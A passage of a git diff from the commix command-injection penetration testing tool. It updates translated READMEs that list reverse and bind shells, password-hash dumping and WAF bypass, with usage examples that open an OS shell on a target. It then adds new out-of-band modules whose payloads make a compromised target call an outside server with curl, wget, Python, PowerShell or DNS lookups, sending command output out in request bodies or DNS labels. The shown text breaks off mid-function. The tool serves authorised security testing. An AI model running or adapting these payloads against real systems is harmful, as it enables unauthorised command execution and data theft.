**[Python](http://www.python.org/download/)** (έκδοση **2.6**, **2.7** ή **3.x**) απαιτείται για την εκτέλεση του commix.* +> [!NOTE] +> H **[Python](https://www.python.org/downloads/)** (έκδοση **3.7** ή νεότερη) απαιτείται για την +> εκτέλεση του commix. Όλες οι υπόλοιπες εξαρτήσεις συνοδεύουν το πρόγραμμα, οπότε δεν απαιτείται +> κανένα επιπλέον βήμα εγκατάστασης. ## Χρήση Για να λάβετε μια λίστα με όλες τις επιλογές και τους διακόπτες πατήστε: - $ python commix.py -h + $ python3 commix.py -h -Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-Examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki σελίδες. +Έλεγχος μιας ευπαθούς παραμέτρου και άμεση πρόσβαση σε κέλυφος στον στόχο : + $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + +Απόδειξη εκτέλεσης εκτός ζώνης, όταν η απόκριση δεν επιστρέφει τίποτα : + + $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> Η ανίχνευση εκτός ζώνης (OAST) με την επιλογή `--oob` χρησιμοποιεί από προεπιλογή τον δημόσιο +> διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των αλληλεπιδράσεων με τον στόχο σας φεύγουν +> από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική σας εγκατάσταση, ώστε να παραμείνουν +> εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) στο wiki. + +Σάρωση λίστας στόχων χωρίς επίβλεψη και εγγραφή των αποτελεσμάτων σε αρχείο : + + $ python3 commix.py -m targets.txt --batch --report-json=results.json + +Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki σελίδες. ## Σύνδεσμοι * Εγχειρίδιο χρήστη: https://github.com/commixproject/commix/wiki * Παρακολούθηση προβλημάτων: https://github.com/commixproject/commix/issues - diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index f3ff868bc2..20f284341c 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -1,20 +1,49 @@ -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="x" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> </p> -**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. +<div align="center"> + +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • `Bahasa Indonesia` • [`Türkçe`](README-tr-TR.md) + +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> +</p> +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. ![Screenshot](https://commixproject.com/images/background.png) + Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki. +> [!IMPORTANT] +> **Proyek ini sedang dalam pengembangan aktif.** Perubahan yang dapat merusak kompatibilitas +> mungkin terjadi antar revisi. Periksa +> [catatan perubahan](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) sebelum +> memperbarui. +> +> Commix terutama dibuat untuk digunakan sebagai alat baris perintah mandiri, dan alat ini +> menjalankan perintah sistem operasi pada target yang diujinya. **Menjalankan commix sebagai sebuah +> layanan dapat menimbulkan risiko keamanan.** Gunakan dengan hati-hati, dan hanya terhadap sistem +> milik Anda sendiri atau yang Anda memiliki izin tertulis untuk mengujinya. + +## Fitur + +* **Lima teknik injeksi** - classic, dynamic code evaluation, time-based, file-based (dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. +* **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. +* **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. +* **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. +* **Pengelakan filter dan WAF** - 22 skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. +* **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. +* **Pemindaian yang dapat dilanjutkan** - hasil disimpan per target dalam berkas sesi dan dapat diekspor ke JSON. +* **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby dan CGI, dengan dukungan eksperimental untuk ASP.NET dan JSP. + ## Instalasi Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git: @@ -23,16 +52,38 @@ Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori re Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru. -*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.* +> [!NOTE] +> **[Python](https://www.python.org/downloads/)** (versi **3.7** atau lebih baru) diperlukan untuk +> menjalankan commix. Semua dependensi lainnya sudah disertakan, sehingga tidak diperlukan langkah +> instalasi tambahan. ## Penggunaan Untuk mendapatkan daftar semua opsi dan beralih gunakan: - $ python commix.py -h + $ python3 commix.py -h + +Menguji satu parameter yang dapat diinjeksi, lalu masuk ke shell pada target: + + $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + +Membuktikan eksekusi secara out-of-band, ketika respons tidak mengembalikan apa pun: + + $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> Deteksi out-of-band (OAST) dengan `--oob` secara bawaan menggunakan server interactsh publik +> `oast.fun`, sehingga metadata interaksi dengan target Anda keluar dari jaringan Anda. Arahkan +> `--oob-server` ke instansi milik sendiri agar tetap berada di jaringan internal. Untuk panduan +> lengkap, lihat halaman +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) di wiki. + +Memindai daftar target tanpa pengawasan dan menyimpan hasilnya ke sebuah berkas: + + $ python3 commix.py -m targets.txt --batch --report-json=results.json -Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** halaman wiki. ## Link diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index fe10bc23f7..8ef730c5f8 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,51 +1,93 @@ - -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="x" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> -</p> - - -**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://owasp.org/www-community/attacks/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. - -![Screenshot](https://commixproject.com/images/background.png) - -Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz. - - -## Kurulum - -Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz : - - - $ git clone https://github.com/commixproject/commix.git commix - -Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz. - -*__Not:__ **[Python](http://www.python.org/download/)** (sürüm **2.6**, **2.7** veya **3.x**) commix'i çalıştırmak için gereklidir.* - - - - - - -## Kullanım - -Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: - - $ python commix.py -h - -Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz. - - -## Linkler - -* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki -* Sorun takibi: https://github.com/commixproject/commix/issues - - +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> +</p> + +<div align="center"> + +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • `Türkçe` + +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> +</p> + +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://owasp.org/www-community/attacks/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. + +![Screenshot](https://commixproject.com/images/background.png) + +Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz. + +> [!IMPORTANT] +> **Bu proje aktif geliştirme aşamasındadır.** Sürümler arasında geriye dönük uyumluluğu bozan +> değişiklikler olabilir. Güncellemeden önce +> [değişiklik günlüğünü](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) +> inceleyin. +> +> Commix öncelikle bağımsız bir komut satırı aracı olarak kullanılmak üzere tasarlanmıştır ve test +> ettiği hedeflerde işletim sistemi komutları çalıştırır. **Commix'i bir servis olarak çalıştırmak +> güvenlik riskleri doğurabilir.** Dikkatli kullanılması ve yalnızca size ait olan ya da test etmek +> için açık yetkiye sahip olduğunuz sistemlerde kullanılması önerilir. + +## Özellikler + +* **Beş enjeksiyon tekniği** - classic, dynamic code evaluation, time-based, file-based (yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). +* **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. +* **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). +* **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. +* **Filtre ve WAF atlatma** - birlikte kullanılabilen 22 tamper betiği, belirlenimci bir sırayla uygulanır. +* **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. +* **Kaldığı yerden devam eden taramalar** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak dışa aktarılabilir. +* **Geniş arka uç desteği** - PHP, Python, Perl, Ruby ve CGI; ASP.NET ve JSP için deneysel destek. + +## Kurulum + +Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz : + + + $ git clone https://github.com/commixproject/commix.git commix + +Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz. + +> [!NOTE] +> Commix'i çalıştırmak için **[Python](https://www.python.org/downloads/)** (sürüm **3.7** veya +> üzeri) gereklidir. Diğer tüm bağımlılıklar programla birlikte gelir, bu nedenle ek bir kurulum +> adımına gerek yoktur. + + +## Kullanım + +Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: + + $ python3 commix.py -h + +Tek bir enjekte edilebilir parametreyi test edip hedefte bir kabuk açmak için: + + $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell + +Yanıtın hiçbir şey döndürmediği durumlarda çalıştırmayı bant dışı yöntemle kanıtlamak için: + + $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> `--oob` ile yapılan bant dışı (OAST) tespit, varsayılan olarak herkese açık `oast.fun` interactsh +> sunucusunu kullanır; bu nedenle hedefinizle ilgili etkileşim meta verileri ağınızın dışına çıkar. +> Bunları kurum içinde tutmak için `--oob-server` seçeneğini kendi sunucunuza yönlendirin. Ayrıntılı +> rehber için wiki'deki +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) sayfasına bakın. + +Bir hedef listesini gözetimsiz taramak ve sonuçları bir dosyaya yazmak için: + + $ python3 commix.py -m targets.txt --batch --report-json=results.json + +Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki sayfalarını ziyaret edebilirsiniz. + + +## Linkler + +* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki +* Sorun takibi: https://github.com/commixproject/commix/issues diff --git a/setup.py b/setup.py index a4302ce496..16c653574b 100644 --- a/setup.py +++ b/setup.py @@ -29,6 +29,7 @@ 'Tracker': 'https://github.com/commixproject/commix/issues', }, license='GNU General Public License v3 (GPLv3)', + python_requires='>=3.7', packages=find_packages(), include_package_data=True, package_data={"": ["*.txt"]}, @@ -38,7 +39,13 @@ 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', 'Natural Language :: English', 'Operating System :: OS Independent', - 'Programming Language :: Python', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.7', + 'Programming Language :: Python :: 3.8', + 'Programming Language :: Python :: 3.9', + 'Programming Language :: Python :: 3.10', + 'Programming Language :: Python :: 3.11', + 'Programming Language :: Python :: 3.12', 'Environment :: Console', 'Topic :: Security', ], diff --git a/src/core/injections/blind/techniques/oob/__init__.py b/src/core/injections/blind/techniques/oob/__init__.py new file mode 100644 index 0000000000..de196a7f70 --- /dev/null +++ b/src/core/injections/blind/techniques/oob/__init__.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass \ No newline at end of file diff --git a/src/core/injections/blind/techniques/oob/oob_handler.py b/src/core/injections/blind/techniques/oob/oob_handler.py new file mode 100644 index 0000000000..0d1539ca98 --- /dev/null +++ b/src/core/injections/blind/techniques/oob/oob_handler.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.injections.controller import handler + +""" +The out-of-band technique on OS command injection. +""" + +""" +The out-of-band injection technique handler. +""" +def oob_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + return handler.do_oob_process(url, timesec, filename, http_request_method, injection_type, technique) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, injection_type, technique): + return oob_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) + +# eof diff --git a/src/core/injections/blind/techniques/oob/oob_injector.py b/src/core/injections/blind/techniques/oob/oob_injector.py new file mode 100644 index 0000000000..c724287dcd --- /dev/null +++ b/src/core/injections/blind/techniques/oob/oob_injector.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import time + +from src.utils import settings +from src.core.injections.controller import handler +from src.core.injections.controller import checks +from src.core.injections.blind.techniques.oob import oob_payloads as payloads + +""" +The out-of-band technique on OS command injection. +""" + +""" +Run a command on the target and read its output back off the out-of-band channel. +""" +def injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, transport=None): + channel = settings.OOB_CHANNEL + transport = transport or settings.OOB_TRANSPORT + if channel is None or not payloads.supports_exfiltration(transport): + return "" + + # A name lookup gets a second go: the output rides in the query name, and a resolver that + # normalises the name away before forwarding it leaves the interaction without the data. + attempts = settings.OOB_DNS_ATTEMPTS if transport == "dns" else 1 + for attempt in range(attempts): + token, hostname = channel.new_payload() + if settings.OOB_EVAL: + payload = payloads.exfiltrate_eval(separator, transport, hostname, cmd) + else: + payload = payloads.exfiltrate(separator, transport, hostname, cmd) + try: + handler.oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + except Exception: + return "" + + if transport == "dns": + output = _dns_output(channel, token) + if output or attempt + 1 == attempts: + return output + continue + + for interaction in channel.wait_for(token, settings.OOB_TIMEOUT, protocol="http"): + body = checks.oob_request_body(interaction.raw_request) + if body: + return body.rstrip("\r\n") + return "" + return "" + +""" +Collect the numbered chunks a 'dns' payload asked to be resolved, waiting for the last of them +rather than answering on the first - each carries only a part of the output. +""" +def _dns_output(channel, token): + chunks = {} + total = None + # A lookup travels through the target's own resolver before it reaches the server, so the + # chunks arrive later than a probe's single interaction does - and every one of them is needed. + deadline = time.time() + settings.OOB_TIMEOUT * 2 + channel.poll_now() + while True: + for interaction in channel.seen(token, protocol="dns"): + labels = channel.data_of(interaction) + if len(labels) < 2: + continue + index, _, count = labels[0].partition("-") + if not index.isdigit(): + continue + if count.isdigit(): + total = int(count) + chunks[int(index)] = "".join(labels[1:]) + if total is not None and len(chunks) >= total: + break + if time.time() >= deadline: + if total is not None and len(chunks) < total: + settings.INCOMPLETE_OUTPUT = True + break + channel.poll_now() + time.sleep(2) + # The command's trailing newline came through the labels, dropped here as the HTTP branch does. + return payloads.decode_dns_output(chunks).rstrip("\r\n") + +""" +Report whether the channel can carry command output back. +""" +def can_execute(): + return settings.OOB_CHANNEL is not None and payloads.supports_exfiltration(settings.OOB_TRANSPORT) + +# eof diff --git a/src/core/injections/blind/techniques/oob/oob_payloads.py b/src/core/injections/blind/techniques/oob/oob_payloads.py new file mode 100644 index 0000000000..cc9cffde89 --- /dev/null +++ b/src/core/injections/blind/techniques/oob/oob_payloads.py @@ -0,0 +1,400 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +import binascii + +from src.utils import menu +from src.utils import settings +from src.core.injections.controller import checks + +""" +The out-of-band technique on OS command injection. +The available out-of-band payloads. +""" + +PIPE = "%7c" +# 'Or else', for a chain of lookup commands where only some of them exist on the target. +OR = PIPE + PIPE +# A bare '+' would be read as a space where the payload is URL-decoded. +PLUS = "%2B" + +""" +The HTTP clients used to reach the out-of-band server, most common first. +""" +UNIX_TRANSPORTS = ["curl", "wget", "python", "dns"] +# 'curl.exe' leads on Windows, where it has shipped in System32 since Windows 10 1803: unlike a +# name lookup it carries command output back, and it is quick to give up where a host has no way +# out. A lookup follows, present on every Windows and the one confirmed against a real target. +# 'certutil' is deliberately absent - it blocks for over a minute per request, and a sweep of +# those would tie up the target's worker pool. +WINDOWS_TRANSPORTS = ["curl", "dns", "powershell"] +# Clients that hold the request open for a long time on a host with no way out, so they are worth a +# probe only where the sweep has nothing else left to try - never for a yes/no a lookup has answered. +SLOW_TRANSPORTS = ("powershell",) + +""" +The URL a payload sends the target to, over the same scheme the out-of-band server is reached on. +""" +def _url(hostname, proof=""): + scheme = settings.OOB_SCHEME or "https" + port = "" + # Named only when it is not the scheme's own, so a public server's URL stays as short as it was. + if settings.OOB_PORT and settings.OOB_PORT != (443 if scheme == "https" else 80): + port = ":" + str(settings.OOB_PORT) + return scheme + "://" + hostname + port + "/" + proof + +""" +Build the Python program a payload runs, reading its body from stdin when a command is being sent. + +Python verifies certificates against a CA store the target often does not have, and a failure there +costs the whole transport, so verification is turned off - the output is still encrypted. Setting the +module default rather than passing a context keeps this working on Python older than 3.4.3, where +'urlopen' takes no context and does not verify in the first place. +""" +def _python_prog(hostname, from_stdin=False, proof=""): + imports = "import ssl,sys,urllib.request;" if from_stdin else "import ssl,urllib.request;" + relax = "" + if (settings.OOB_SCHEME or "https") == "https": + relax = "setattr(ssl,'_create_default_https_context',getattr(ssl,'_create_unverified_context',None));" + body = ",data=sys.stdin.buffer.read()" if from_stdin else "" + # The program is inside double quotes, so the shell still does the sum before Python sees the URL. + return (settings.LINUX_PYTHON_INTERPRETER + " -c \"" + imports + relax + + "urllib.request.urlopen('" + _url(hostname, proof) + "'" + body + ")\"") + +""" +Build the command that makes the target contact a hostname, carrying a sum for it to evaluate. +""" +def reach_command(transport, hostname, proof=""): + if transport == "curl": + return "curl -s " + _url(hostname, proof) + if transport == "wget": + return "wget -qO- " + _url(hostname, proof) + if transport == "python": + return _python_prog(hostname, proof=proof) + if transport == "dns": + # Resolving the name is enough to prove execution, and needs no HTTP client at all. + return dns_lookup_command(hostname) + if transport == "powershell": + # 'iwr' only exists from PowerShell 3.0, while Net.WebClient goes back to 1.0. The URL keeps + # the single quotes cmd.exe passes through untouched - a double quoted one arrives stripped of + # them - and stdin is closed, so nothing waits on a console the target has not got. + return ("powershell.exe -InputFormat none -Command (New-Object Net.WebClient).DownloadString('" + + _url(hostname, proof) + "')") + return "" + +""" +The command that makes the target resolve a name. + +On Windows 'nslookup' is always there. Elsewhere it is part of an optional package, so the ones a +host is likely to have instead follow it, each tried only if the one before it is missing - the +first that resolves the name stops the chain, and 'ping' comes last because it waits for a reply +that a host with no ICMP out will never get. +""" +def dns_lookup_command(hostname): + if settings.TARGET_OS == settings.OS.WINDOWS: + return "nslookup " + hostname + return ("nslookup " + hostname + OR + "getent hosts " + hostname + + OR + "host " + hostname + OR + "ping -c1 " + hostname) + +""" +Out-of-band decision payload (check if host is vulnerable). +""" +def decision(separator, transport, hostname, proof="", prologue=""): + payload = separator + prologue + reach_command(transport, hostname, proof) + if settings.TARGET_OS != settings.OS.WINDOWS: + payload = checks.append_custom_marker(payload, separator) + # The payload ends on a hostname, so it is the part a sink's own trailing characters would land in. + return payload + checks.shell_tail() + +""" +Out-of-band decision payload for a dynamic code evaluation sink. +""" +def decision_eval(separator, transport, hostname, proof="", prologue=""): + return "print(`" + prologue + reach_command(transport, hostname, proof) + "`)" + ("%3B" if separator else "") + +""" +Out-of-band payload that sends the output of a command back through an evaluation sink. +""" +def exfiltrate_eval(separator, transport, hostname, cmd): + inner = exfiltrate("", transport, hostname, cmd) + if not inner: + return "" + return "print(`" + inner + "`)" + ("%3B" if separator else "") + +""" +The prefixes an evaluation sink is reached through, execution functions included. +""" +def eval_prefixes(): + prefixes = list(settings.EVAL_PREFIXES) + for function in settings.EXECUTION_FUNCTIONS: + candidate = function if function.startswith("${") else "${" + function + "(" + if candidate not in prefixes: + prefixes.append(candidate) + return prefixes + +""" +Report whether a stored payload targets an evaluation sink. +""" +def is_eval(payload): + return "print(`" in (payload or "") + +""" +Name the transport a stored payload was built with. +""" +def transport_of(payload): + payload = payload or "" + # Keyed on what the payload runs, which is not always the transport's name. A stored payload is + # URL-encoded, so a marker must not rely on whitespace. + # Tamper scripts such as 'doublequotes', 'caret', 'backslashes' and 'dollaratsigns' interleave + # filler between a word's letters to dodge keyword filters, which splits a marker apart - strip + # that filler back out before looking for one. + normalized = re.sub(r'""|\^|\\|\$@', "", payload) + for transport, marker in (("python", "urllib.request"), ("dns", "nslookup"), ("curl", "curl"), + ("wget", "wget"), ("powershell", "powershell")): + if marker in normalized: + return transport + return "" + +""" +The transports to try, in order. A confirmed one wins outright, and '--interpreter' tells us the +target has Python, so that client is worth trying before the rest. +""" +def transports(): + if settings.OOB_TRANSPORT: + return [settings.OOB_TRANSPORT] + order = list(WINDOWS_TRANSPORTS) if 